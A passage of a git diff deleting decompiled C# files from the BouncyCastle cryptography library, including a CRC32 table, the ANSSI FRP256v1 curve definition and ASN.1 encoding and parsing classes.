-1578704818, - -1079922613, -1151291908, -1239184603, -1293773166, -1968362705, -1905510760, -2094067647, -2014441994, -1716953613, -1654112188, - -1876203875, -1796572374, -525066777, -462094256, -382327159, -302564546, -206542021, -143559028, -97365931, -17609246, - -960696225, -1031934488, -817968335, -872425850, -709327229, -780559564, -600130067, -654598054, 1762451694, 1842216281, - 1619975040, 1682949687, 2047383090, 2127137669, 1938468188, 2001449195, 1325665622, 1271206113, 1183200824, 1111960463, - 1543535498, 1489069629, 1434599652, 1363369299, 622672798, 568075817, 748617968, 677256519, 907627842, 853037301, - 1067152940, 995781531, 51762726, 131386257, 177728840, 240578815, 269590778, 349224269, 429104020, 491947555, - -248556018, -168932423, -122852000, -60002089, -500490030, -420856475, -341238852, -278395381, -685261898, -739858943, - -559578920, -630940305, -1004286614, -1058877219, -845023740, -916395085, -1119974018, -1174433591, -1262701040, -1333941337, - -1371866206, -1426332139, -1481064244, -1552294533, -1690935098, -1611170447, -1833673816, -1770699233, -2009983462, -1930228819, - -2119160460, -2056179517, 1569362073, 1498123566, 1409854455, 1355396672, 1317987909, 1246755826, 1192025387, 1137557660, - 2072149281, 2135122070, 1912620623, 1992383480, 1753615357, 1816598090, 1627664531, 1707420964, 295390185, 358241886, - 404320391, 483945776, 43990325, 106832002, 186451547, 266083308, 932423249, 861060070, 1041341759, 986742920, - 613929101, 542559546, 756411363, 701822548, -978770311, -1050133554, -869589737, -924188512, -693284699, -764654318, - -550540341, -605129092, -475935807, -413084042, -366743377, -287118056, -257573603, -194731862, -114850189, -35218492, - -1984365303, -1921392450, -2143631769, -2063868976, -1698919467, -1635936670, -1824608069, -1744851700, -1347415887, -1418654458, - -1506661409, -1561119128, -1129027987, -1200260134, -1254728445, -1309196108 - }; - - internal int globalCrc; - - public CRC() - { - InitialiseCRC(); - } - - internal void InitialiseCRC() - { - globalCrc = -1; - } - - internal int GetFinalCRC() - { - return ~globalCrc; - } - - internal int GetGlobalCRC() - { - return globalCrc; - } - - internal void SetGlobalCRC(int newCrc) - { - globalCrc = newCrc; - } - - internal void UpdateCRC(int inCh) - { - int num = (globalCrc >> 24) ^ inCh; - if (num < 0) - { - num = 256 + num; - } - globalCrc = (globalCrc << 8) ^ crc32Table[num]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiNamedCurves.cs deleted file mode 100644 index 0156d09..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiNamedCurves.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.Anssi; - -public class AnssiNamedCurves -{ - internal class Frp256v1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Frp256v1Holder(); - - private Frp256v1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("F1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C03"); - BigInteger a = FromHex("F1FD178C0B3AD58F10126DE8CE42435B3961ADBCABC8CA6DE8FCF353D86E9C00"); - BigInteger b = FromHex("EE353FCA5428A9300D4ABA754A44C00FDFEC0C9AE4B1A1803075ED967B7BB73F"); - byte[] seed = null; - BigInteger bigInteger = FromHex("F1FD178C0B3AD58F10126DE8CE42435B53DC67E140D2BF941FFDD459C6D655E1"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04B6B3D4C356C139EB31183D4749D423958C27D2DCAF98B70164C97A2DD98F5CFF6142E0F7C8B204911F9271F0F3ECEF8C2701C307E8E4C9E183115A1554062CFB")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - private static readonly IDictionary objIds; - - private static readonly IDictionary curves; - - private static readonly IDictionary names; - - public static IEnumerable Names => new EnumerableProxy(names.Values); - - private static ECCurve ConfigureCurve(ECCurve curve) - { - return curve; - } - - private static BigInteger FromHex(string hex) - { - return new BigInteger(1, Hex.Decode(hex)); - } - - private static void DefineCurve(string name, DerObjectIdentifier oid, X9ECParametersHolder holder) - { - objIds.Add(Platform.ToUpperInvariant(name), oid); - names.Add(oid, name); - curves.Add(oid, holder); - } - - static AnssiNamedCurves() - { - objIds = Platform.CreateHashtable(); - curves = Platform.CreateHashtable(); - names = Platform.CreateHashtable(); - DefineCurve("FRP256v1", AnssiObjectIdentifiers.FRP256v1, Frp256v1Holder.Instance); - } - - public static X9ECParameters GetByName(string name) - { - DerObjectIdentifier oid = GetOid(name); - if (oid != null) - { - return GetByOid(oid); - } - return null; - } - - public static X9ECParameters GetByOid(DerObjectIdentifier oid) - { - return ((X9ECParametersHolder)curves[oid])?.Parameters; - } - - public static DerObjectIdentifier GetOid(string name) - { - return (DerObjectIdentifier)objIds[Platform.ToUpperInvariant(name)]; - } - - public static string GetName(DerObjectIdentifier oid) - { - return (string)names[oid]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiObjectIdentifiers.cs deleted file mode 100644 index 84ab801..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Anssi/AnssiObjectIdentifiers.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Anssi; - -public sealed class AnssiObjectIdentifiers -{ - public static readonly DerObjectIdentifier FRP256v1 = new DerObjectIdentifier("1.2.250.1.223.101.256.1"); - - private AnssiObjectIdentifiers() - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Encodable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Encodable.cs deleted file mode 100644 index 70add51..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Encodable.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Encodable : IAsn1Convertible -{ - public const string Der = "DER"; - - public const string Ber = "BER"; - - public byte[] GetEncoded() - { - MemoryStream memoryStream = new MemoryStream(); - Asn1OutputStream asn1OutputStream = new Asn1OutputStream(memoryStream); - asn1OutputStream.WriteObject(this); - return memoryStream.ToArray(); - } - - public byte[] GetEncoded(string encoding) - { - if (encoding.Equals("DER")) - { - MemoryStream memoryStream = new MemoryStream(); - DerOutputStream derOutputStream = new DerOutputStream(memoryStream); - derOutputStream.WriteObject(this); - return memoryStream.ToArray(); - } - return GetEncoded(); - } - - public byte[] GetDerEncoded() - { - try - { - return GetEncoded("DER"); - } - catch (IOException) - { - return null; - } - } - - public sealed override int GetHashCode() - { - return ToAsn1Object().CallAsn1GetHashCode(); - } - - public sealed override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is IAsn1Convertible asn1Convertible)) - { - return false; - } - Asn1Object asn1Object = ToAsn1Object(); - Asn1Object asn1Object2 = asn1Convertible.ToAsn1Object(); - if (asn1Object != asn1Object2) - { - return asn1Object.CallAsn1Equals(asn1Object2); - } - return true; - } - - public abstract Asn1Object ToAsn1Object(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1EncodableVector.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1EncodableVector.cs deleted file mode 100644 index ec0217f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1EncodableVector.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1; - -public class Asn1EncodableVector : IEnumerable -{ - private IList v = Platform.CreateArrayList(); - - public Asn1Encodable this[int index] => (Asn1Encodable)v[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => v.Count; - - public int Count => v.Count; - - public static Asn1EncodableVector FromEnumerable(IEnumerable e) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (Asn1Encodable item in e) - { - asn1EncodableVector.Add(item); - } - return asn1EncodableVector; - } - - public Asn1EncodableVector(params Asn1Encodable[] v) - { - Add(v); - } - - public void Add(params Asn1Encodable[] objs) - { - foreach (Asn1Encodable value in objs) - { - v.Add(value); - } - } - - public void AddOptional(params Asn1Encodable[] objs) - { - if (objs == null) - { - return; - } - foreach (Asn1Encodable asn1Encodable in objs) - { - if (asn1Encodable != null) - { - v.Add(asn1Encodable); - } - } - } - - [Obsolete("Use 'object[index]' syntax instead")] - public Asn1Encodable Get(int index) - { - return this[index]; - } - - public IEnumerator GetEnumerator() - { - return v.GetEnumerator(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Exception.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Exception.cs deleted file mode 100644 index b7dead1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Exception.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -[Serializable] -public class Asn1Exception : IOException -{ - public Asn1Exception() - { - } - - public Asn1Exception(string message) - : base(message) - { - } - - public Asn1Exception(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Generator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Generator.cs deleted file mode 100644 index 32cd93a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Generator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Generator -{ - private Stream _out; - - protected Stream Out => _out; - - protected Asn1Generator(Stream outStream) - { - _out = outStream; - } - - public abstract void AddObject(Asn1Encodable obj); - - public abstract Stream GetRawOutputStream(); - - public abstract void Close(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1InputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1InputStream.cs deleted file mode 100644 index 83bd6c6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1InputStream.cs +++ /dev/null @@ -1,264 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -public class Asn1InputStream : FilterStream -{ - private readonly int limit; - - private readonly byte[][] tmpBuffers; - - internal static int FindLimit(Stream input) - { - if (input is LimitedInputStream) - { - return ((LimitedInputStream)input).GetRemaining(); - } - if (input is MemoryStream) - { - MemoryStream memoryStream = (MemoryStream)input; - return (int)(memoryStream.Length - memoryStream.Position); - } - return int.MaxValue; - } - - public Asn1InputStream(Stream inputStream) - : this(inputStream, FindLimit(inputStream)) - { - } - - public Asn1InputStream(Stream inputStream, int limit) - : base(inputStream) - { - this.limit = limit; - tmpBuffers = new byte[16][]; - } - - public Asn1InputStream(byte[] input) - : this(new MemoryStream(input, writable: false), input.Length) - { - } - - private Asn1Object BuildObject(int tag, int tagNo, int length) - { - bool flag = (tag & 0x20) != 0; - DefiniteLengthInputStream definiteLengthInputStream = new DefiniteLengthInputStream(s, length); - if ((tag & 0x40) != 0) - { - return new DerApplicationSpecific(flag, tagNo, definiteLengthInputStream.ToArray()); - } - if ((tag & 0x80) != 0) - { - return new Asn1StreamParser(definiteLengthInputStream).ReadTaggedObject(flag, tagNo); - } - if (flag) - { - return tagNo switch - { - 4 => new BerOctetString(BuildDerEncodableVector(definiteLengthInputStream)), - 16 => CreateDerSequence(definiteLengthInputStream), - 17 => CreateDerSet(definiteLengthInputStream), - 8 => new DerExternal(BuildDerEncodableVector(definiteLengthInputStream)), - _ => throw new IOException("unknown tag " + tagNo + " encountered"), - }; - } - return CreatePrimitiveDerObject(tagNo, definiteLengthInputStream, tmpBuffers); - } - - internal Asn1EncodableVector BuildEncodableVector() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - Asn1Object asn1Object; - while ((asn1Object = ReadObject()) != null) - { - asn1EncodableVector.Add(asn1Object); - } - return asn1EncodableVector; - } - - internal virtual Asn1EncodableVector BuildDerEncodableVector(DefiniteLengthInputStream dIn) - { - return new Asn1InputStream(dIn).BuildEncodableVector(); - } - - internal virtual DerSequence CreateDerSequence(DefiniteLengthInputStream dIn) - { - return DerSequence.FromVector(BuildDerEncodableVector(dIn)); - } - - internal virtual DerSet CreateDerSet(DefiniteLengthInputStream dIn) - { - return DerSet.FromVector(BuildDerEncodableVector(dIn), needsSorting: false); - } - - public Asn1Object ReadObject() - { - int num = ReadByte(); - if (num <= 0) - { - if (num == 0) - { - throw new IOException("unexpected end-of-contents marker"); - } - return null; - } - int num2 = ReadTagNumber(s, num); - bool flag = (num & 0x20) != 0; - int num3 = ReadLength(s, limit); - if (num3 < 0) - { - if (!flag) - { - throw new IOException("indefinite length primitive encoding encountered"); - } - IndefiniteLengthInputStream inStream = new IndefiniteLengthInputStream(s, limit); - Asn1StreamParser parser = new Asn1StreamParser(inStream, limit); - if ((num & 0x40) != 0) - { - return new BerApplicationSpecificParser(num2, parser).ToAsn1Object(); - } - if ((num & 0x80) != 0) - { - return new BerTaggedObjectParser(constructed: true, num2, parser).ToAsn1Object(); - } - return num2 switch - { - 4 => new BerOctetStringParser(parser).ToAsn1Object(), - 16 => new BerSequenceParser(parser).ToAsn1Object(), - 17 => new BerSetParser(parser).ToAsn1Object(), - 8 => new DerExternalParser(parser).ToAsn1Object(), - _ => throw new IOException("unknown BER object encountered"), - }; - } - try - { - return BuildObject(num, num2, num3); - } - catch (ArgumentException exception) - { - throw new Asn1Exception("corrupted stream detected", exception); - } - } - - internal static int ReadTagNumber(Stream s, int tag) - { - int num = tag & 0x1F; - if (num == 31) - { - num = 0; - int num2 = s.ReadByte(); - if ((num2 & 0x7F) == 0) - { - throw new IOException("Corrupted stream - invalid high tag number found"); - } - while (num2 >= 0 && (num2 & 0x80) != 0) - { - num |= num2 & 0x7F; - num <<= 7; - num2 = s.ReadByte(); - } - if (num2 < 0) - { - throw new EndOfStreamException("EOF found inside tag value."); - } - num |= num2 & 0x7F; - } - return num; - } - - internal static int ReadLength(Stream s, int limit) - { - int num = s.ReadByte(); - if (num < 0) - { - throw new EndOfStreamException("EOF found when length expected"); - } - if (num == 128) - { - return -1; - } - if (num > 127) - { - int num2 = num & 0x7F; - if (num2 > 4) - { - throw new IOException("DER length more than 4 bytes: " + num2); - } - num = 0; - for (int i = 0; i < num2; i++) - { - int num3 = s.ReadByte(); - if (num3 < 0) - { - throw new EndOfStreamException("EOF found reading length"); - } - num = (num << 8) + num3; - } - if (num < 0) - { - throw new IOException("Corrupted stream - negative length found"); - } - if (num >= limit) - { - throw new IOException("Corrupted stream - out of bounds length found"); - } - } - return num; - } - - internal static byte[] GetBuffer(DefiniteLengthInputStream defIn, byte[][] tmpBuffers) - { - int remaining = defIn.GetRemaining(); - if (remaining >= tmpBuffers.Length) - { - return defIn.ToArray(); - } - byte[] array = tmpBuffers[remaining]; - if (array == null) - { - array = (tmpBuffers[remaining] = new byte[remaining]); - } - defIn.ReadAllIntoByteArray(array); - return array; - } - - internal static Asn1Object CreatePrimitiveDerObject(int tagNo, DefiniteLengthInputStream defIn, byte[][] tmpBuffers) - { - switch (tagNo) - { - case 1: - return DerBoolean.FromOctetString(GetBuffer(defIn, tmpBuffers)); - case 10: - return DerEnumerated.FromOctetString(GetBuffer(defIn, tmpBuffers)); - case 6: - return DerObjectIdentifier.FromOctetString(GetBuffer(defIn, tmpBuffers)); - default: - { - byte[] array = defIn.ToArray(); - return tagNo switch - { - 3 => DerBitString.FromAsn1Octets(array), - 30 => new DerBmpString(array), - 24 => new DerGeneralizedTime(array), - 27 => new DerGeneralString(array), - 25 => new DerGraphicString(array), - 22 => new DerIA5String(array), - 2 => new DerInteger(array), - 5 => DerNull.Instance, - 18 => new DerNumericString(array), - 4 => new DerOctetString(array), - 19 => new DerPrintableString(array), - 20 => new DerT61String(array), - 28 => new DerUniversalString(array), - 23 => new DerUtcTime(array), - 12 => new DerUtf8String(array), - 21 => new DerVideotexString(array), - 26 => new DerVisibleString(array), - _ => throw new IOException("unknown tag " + tagNo + " encountered"), - }; - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Null.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Null.cs deleted file mode 100644 index f0bba28..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Null.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Null : Asn1Object -{ - internal Asn1Null() - { - } - - public override string ToString() - { - return "NULL"; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Object.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Object.cs deleted file mode 100644 index 0362f3c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Object.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Object : Asn1Encodable -{ - public static Asn1Object FromByteArray(byte[] data) - { - try - { - MemoryStream memoryStream = new MemoryStream(data, writable: false); - Asn1InputStream asn1InputStream = new Asn1InputStream(memoryStream, data.Length); - Asn1Object result = asn1InputStream.ReadObject(); - if (memoryStream.Position != memoryStream.Length) - { - throw new IOException("extra data found after object"); - } - return result; - } - catch (InvalidCastException) - { - throw new IOException("cannot recognise object in byte array"); - } - } - - public static Asn1Object FromStream(Stream inStr) - { - try - { - return new Asn1InputStream(inStr).ReadObject(); - } - catch (InvalidCastException) - { - throw new IOException("cannot recognise object in stream"); - } - } - - public sealed override Asn1Object ToAsn1Object() - { - return this; - } - - internal abstract void Encode(DerOutputStream derOut); - - protected abstract bool Asn1Equals(Asn1Object asn1Object); - - protected abstract int Asn1GetHashCode(); - - internal bool CallAsn1Equals(Asn1Object obj) - { - return Asn1Equals(obj); - } - - internal int CallAsn1GetHashCode() - { - return Asn1GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetString.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetString.cs deleted file mode 100644 index 2c4d7b0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetString.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1OctetString : Asn1Object, Asn1OctetStringParser, IAsn1Convertible -{ - internal byte[] str; - - public Asn1OctetStringParser Parser => this; - - public static Asn1OctetString GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - Asn1Object asn1Object = obj.GetObject(); - if (isExplicit || asn1Object is Asn1OctetString) - { - return GetInstance(asn1Object); - } - return BerOctetString.FromSequence(Asn1Sequence.GetInstance(asn1Object)); - } - - public static Asn1OctetString GetInstance(object obj) - { - if (obj == null || obj is Asn1OctetString) - { - return (Asn1OctetString)obj; - } - if (obj is Asn1TaggedObject) - { - return GetInstance(((Asn1TaggedObject)obj).GetObject()); - } - throw new ArgumentException("illegal object in GetInstance: " + Platform.GetTypeName(obj)); - } - - internal Asn1OctetString(byte[] str) - { - if (str == null) - { - throw new ArgumentNullException("str"); - } - this.str = str; - } - - internal Asn1OctetString(Asn1Encodable obj) - { - try - { - str = obj.GetEncoded("DER"); - } - catch (IOException ex) - { - throw new ArgumentException("Error processing object : " + ex.ToString()); - } - } - - public Stream GetOctetStream() - { - return new MemoryStream(str, writable: false); - } - - public virtual byte[] GetOctets() - { - return str; - } - - protected override int Asn1GetHashCode() - { - return Arrays.GetHashCode(GetOctets()); - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is DerOctetString derOctetString)) - { - return false; - } - return Arrays.AreEqual(GetOctets(), derOctetString.GetOctets()); - } - - public override string ToString() - { - return "#" + Hex.ToHexString(str); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetStringParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetStringParser.cs deleted file mode 100644 index 8032850..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OctetStringParser.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public interface Asn1OctetStringParser : IAsn1Convertible -{ - Stream GetOctetStream(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OutputStream.cs deleted file mode 100644 index 6e57a70..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1OutputStream.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Asn1; - -public class Asn1OutputStream : DerOutputStream -{ - public Asn1OutputStream(Stream os) - : base(os) - { - } - - [Obsolete("Use version taking an Asn1Encodable arg instead")] - public override void WriteObject(object obj) - { - if (obj == null) - { - WriteNull(); - return; - } - if (obj is Asn1Object) - { - ((Asn1Object)obj).Encode(this); - return; - } - if (obj is Asn1Encodable) - { - ((Asn1Encodable)obj).ToAsn1Object().Encode(this); - return; - } - throw new IOException("object not Asn1Encodable"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1ParsingException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1ParsingException.cs deleted file mode 100644 index 694be21..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1ParsingException.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1; - -[Serializable] -public class Asn1ParsingException : InvalidOperationException -{ - public Asn1ParsingException() - { - } - - public Asn1ParsingException(string message) - : base(message) - { - } - - public Asn1ParsingException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Sequence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Sequence.cs deleted file mode 100644 index 8561392..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Sequence.cs +++ /dev/null @@ -1,207 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Sequence : Asn1Object, IEnumerable -{ - private class Asn1SequenceParserImpl : Asn1SequenceParser, IAsn1Convertible - { - private readonly Asn1Sequence outer; - - private readonly int max; - - private int index; - - public Asn1SequenceParserImpl(Asn1Sequence outer) - { - this.outer = outer; - max = outer.Count; - } - - public IAsn1Convertible ReadObject() - { - if (index == max) - { - return null; - } - Asn1Encodable asn1Encodable = outer[index++]; - if (asn1Encodable is Asn1Sequence) - { - return ((Asn1Sequence)asn1Encodable).Parser; - } - if (asn1Encodable is Asn1Set) - { - return ((Asn1Set)asn1Encodable).Parser; - } - return asn1Encodable; - } - - public Asn1Object ToAsn1Object() - { - return outer; - } - } - - private readonly IList seq; - - public virtual Asn1SequenceParser Parser => new Asn1SequenceParserImpl(this); - - public virtual Asn1Encodable this[int index] => (Asn1Encodable)seq[index]; - - [Obsolete("Use 'Count' property instead")] - public int Size => Count; - - public virtual int Count => seq.Count; - - public static Asn1Sequence GetInstance(object obj) - { - if (obj == null || obj is Asn1Sequence) - { - return (Asn1Sequence)obj; - } - if (obj is Asn1SequenceParser) - { - return GetInstance(((Asn1SequenceParser)obj).ToAsn1Object()); - } - if (obj is byte[]) - { - try - { - return GetInstance(Asn1Object.FromByteArray((byte[])obj)); - } - catch (IOException ex) - { - throw new ArgumentException("failed to construct sequence from byte[]: " + ex.Message); - } - } - if (obj is Asn1Encodable) - { - Asn1Object asn1Object = ((Asn1Encodable)obj).ToAsn1Object(); - if (asn1Object is Asn1Sequence) - { - return (Asn1Sequence)asn1Object; - } - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - public static Asn1Sequence GetInstance(Asn1TaggedObject obj, bool explicitly) - { - Asn1Object asn1Object = obj.GetObject(); - if (explicitly) - { - if (!obj.IsExplicit()) - { - throw new ArgumentException("object implicit - explicit expected."); - } - return (Asn1Sequence)asn1Object; - } - if (obj.IsExplicit()) - { - if (obj is BerTaggedObject) - { - return new BerSequence(asn1Object); - } - return new DerSequence(asn1Object); - } - if (asn1Object is Asn1Sequence) - { - return (Asn1Sequence)asn1Object; - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - protected internal Asn1Sequence(int capacity) - { - seq = Platform.CreateArrayList(capacity); - } - - public virtual IEnumerator GetEnumerator() - { - return seq.GetEnumerator(); - } - - [Obsolete("Use GetEnumerator() instead")] - public IEnumerator GetObjects() - { - return GetEnumerator(); - } - - [Obsolete("Use 'object[index]' syntax instead")] - public Asn1Encodable GetObjectAt(int index) - { - return this[index]; - } - - protected override int Asn1GetHashCode() - { - int num = Count; - IEnumerator enumerator = GetEnumerator(); - try - { - while (enumerator.MoveNext()) - { - object current = enumerator.Current; - num *= 17; - num = ((current != null) ? (num ^ current.GetHashCode()) : (num ^ DerNull.Instance.GetHashCode())); - } - return num; - } - finally - { - IDisposable disposable = enumerator as IDisposable; - if (disposable != null) - { - disposable.Dispose(); - } - } - } - - protected override bool Asn1Equals(Asn1Object asn1Object) - { - if (!(asn1Object is Asn1Sequence asn1Sequence)) - { - return false; - } - if (Count != asn1Sequence.Count) - { - return false; - } - IEnumerator enumerator = GetEnumerator(); - IEnumerator enumerator2 = asn1Sequence.GetEnumerator(); - while (enumerator.MoveNext() && enumerator2.MoveNext()) - { - Asn1Object asn1Object2 = GetCurrent(enumerator).ToAsn1Object(); - Asn1Object obj = GetCurrent(enumerator2).ToAsn1Object(); - if (!asn1Object2.Equals(obj)) - { - return false; - } - } - return true; - } - - private Asn1Encodable GetCurrent(IEnumerator e) - { - Asn1Encodable asn1Encodable = (Asn1Encodable)e.Current; - if (asn1Encodable == null) - { - return DerNull.Instance; - } - return asn1Encodable; - } - - protected internal void AddObject(Asn1Encodable obj) - { - seq.Add(obj); - } - - public override string ToString() - { - return CollectionUtilities.ToString(seq); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SequenceParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SequenceParser.cs deleted file mode 100644 index b51dcd4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1SequenceParser.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public interface Asn1SequenceParser : IAsn1Convertible -{ - IAsn1Convertible ReadObject(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Set.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Set.cs deleted file mode 100644 index fd6fed0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Asn1Set.cs +++ /dev/null @@ -1,293 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Asn1; - -public abstract class Asn1Set : Asn1Object, IEnumerable -{ - private class Asn1SetParserImpl : Asn1SetParser, IAsn1Convertible - { - private readonly Asn1Set outer; - - private readonly int max; - - private int index; - - public Asn1SetParserImpl(Asn1Set outer) - { - this.outer = outer; - max = outer.Count; - } - - public IAsn1Convertible ReadObject() - { - if (index == max) - { - return null; - } - Asn1Encodable asn1Encodable = outer[index++]; - if (asn1Encodable is Asn1Sequence) - { - return ((Asn1Sequence)asn1Encodable).Parser; - } - if (asn1Encodable is Asn1Set) - { - return ((Asn1Set)asn1Encodable).Parser; - } - return asn1Encodable; - } - - public virtual Asn1Object ToAsn1Object() - { - return outer; - } - } - - private class DerComparer : IComparer - { - public int Compare(object x, object y) - { - byte[] array = (byte[])x; - byte[] array2 = (byte[])y; - int num = System.Math.Min(array.Length, array2.Length); - for (int i = 0; i != num; i++) - { - byte b = array[i]; - byte b2 = array2[i]; - if (b != b2) - { - if (b >= b2) - { - return 1; - } - return -1; - } - } - if (array.Length > array2.Length) - { - if (!AllZeroesFrom(array, num)) - { - return 1; - } - return 0; - } - if (array.Length < 